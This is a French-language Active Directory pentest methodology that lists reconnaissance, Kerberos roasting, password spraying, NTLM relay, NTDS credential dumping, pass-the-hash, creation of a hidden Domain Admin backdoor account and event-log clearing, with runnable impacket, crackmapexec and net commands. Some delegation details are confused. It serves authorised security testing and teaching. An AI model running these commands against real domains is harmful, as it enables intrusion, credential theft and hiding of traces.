Guide Étape par Étape : Pentest Active Directory

Méthodologie complète pour tester la sécurité d'un domaine Active Directory.

Phase 1 : Reconnaissance & Énumération

Objectif :

Identifier le domaine, les serveurs, les utilisateurs et la structure du réseau.

Outils :

  • nmap : Scanner réseau pour identifier les instances AD
  • enum4linux / crackmapexec : Énumération SMB
  • GetADUsers.py : Énumération LDAP via null bind
  • Active Directory Users and Computers : Interface graphique

Étapes :

  1. Identifier les contrôleurs de domaine (DC) : nmap -sV -p 389,3268 target
  2. Énumérer les utilisateurs : enum4linux -u "" -N target
  3. Récupérer la liste des groupes et des ordinateurs
  4. Identifier les ACE et les délégations

Phase 2 : Accès Initial & Authentification

Objectif :

Obtenir des credentials valides dans le domaine.

Techniques :

  • AS-REP Roasting : Attaquer les users avec pré-authentification désactivée
  • Kerberoasting : Extraire les TGS et les craquer offline
  • Spray d'identifiants : Tester des identifiants faibles (admin/123456)
  • LDAP Relay : Relayer les authentifications NTLM vers LDAP

Commandes :

# AS-REP Roasting
impacket-GetNPUsers domain.com/ -usersfile users.txt

# Kerberoasting
impacket-GetUserSPNs domain.com/user:password -request

# Spray identifiants
crackmapexec smb targets.txt -u users.txt -p passwords.txt

Phase 3 : Énumération Approfondie avec BloodHound

Objectif :

Identifier les chemins d'attaque et les relations de confiance dans AD.

Outils :

  • SharpHound : Collecte de données AD
  • BloodHound : Visualisation des relations et chemins d'attaque

Étapes :

  1. Exécuter SharpHound sur un poste membre : SharpHound.exe -c All
  2. Importer les JSON dans BloodHound
  3. Chercher les chemins vers Domain Admin
  4. Identifier les ACL faibles, délégations, objets sensibles

Phase 4 : Escalade de Privilèges

Objectif :

Escalader desde user faible vers Domain Admin / Entreprise Admin.

Vecteurs d'attaque :

  • Abus ACL : Modifier ACE (AddMember, WriteDACL, WriteProperty)
  • Délégation non contrainte : Relayer Kerberos via S4U
  • PrinterBug / PetitPotam : Relayer via ADCS
  • ADCS ESC : Exploiter les certificats AD
  • Kerberos Unconstrained Delegation : Voler TGT
  • LSASS Dump : Extraire les credentials en mémoire

Commandes d'exploitation :

# Ajouter un utilisateur à un groupe (via ACL)
net group "Domain Admins" user /add /domain

# Relayer vers LDAP (impacket)
impacket-ntlmrelayx -t ldap://dc.domain.com --escalate-user attacker

# Exploiter délégation non contrainte
impacket-getST domain.com/machine$:password -impersonate Administrator

Phase 5 : Post-Exploitation & Persistence

Objectif :

Maintenir l'accès et documenter la compromission.

Actions :

  • Harvesting de credentials : Extracte NTLM, Kerberos, SSO tokens
  • Création de backdoor : Ajouter users cachés, modifier GPO
  • Dumpage ntds.dit : Extraire tous les hash du domaine
  • Lateral movement : Pass-the-hash, Pass-the-ticket
  • Audit des logs : Vérifier la détection (Event IDs 4625, 4768, 4769, 4624)

Commandes :

# Dumper NTDS
impacket-secretsdump -ntds ntds.dit -sam sam REGISTRY/SYSTEM

# Pass-the-Hash
impacket-psexec -hashes :hash domain.com/user@target

# Créer user persistant
net user backdoor password /add /domain
net group "Domain Admins" backdoor /add /domain

Phase 6 : Nettoyage & Documentation

Objectif :

Effacer les traces et livrer un rapport complet.

Actions :

  • Supprimer les users temporaires et backdoors
  • Nettoyer les logs Event Viewer (ID 104 = journal effacé)
  • Documenter tous les chemins exploités
  • Recommander des remédiation spécifiques

Résumé des Outils Essentiels

Phase Outils Commandes clés
Reconnaissance nmap, enum4linux, GetADUsers nmap -sV -p 389, enum4linux -u ""
Authentification impacket, crackmapexec, hashcat GetNPUsers, GetUserSPNs, spray
Énumération SharpHound, BloodHound, ldapsearch SharpHound -c All, ldapsearch
Escalade Rubeus, PowerShell AD, ntlmrelayx ntlmrelayx, S4U2self, S4U2proxy
Post-Exploitation Mimikatz, secretsdump, psexec secretsdump, Pass-the-Hash, Pass-the-Ticket

← Retour Writeup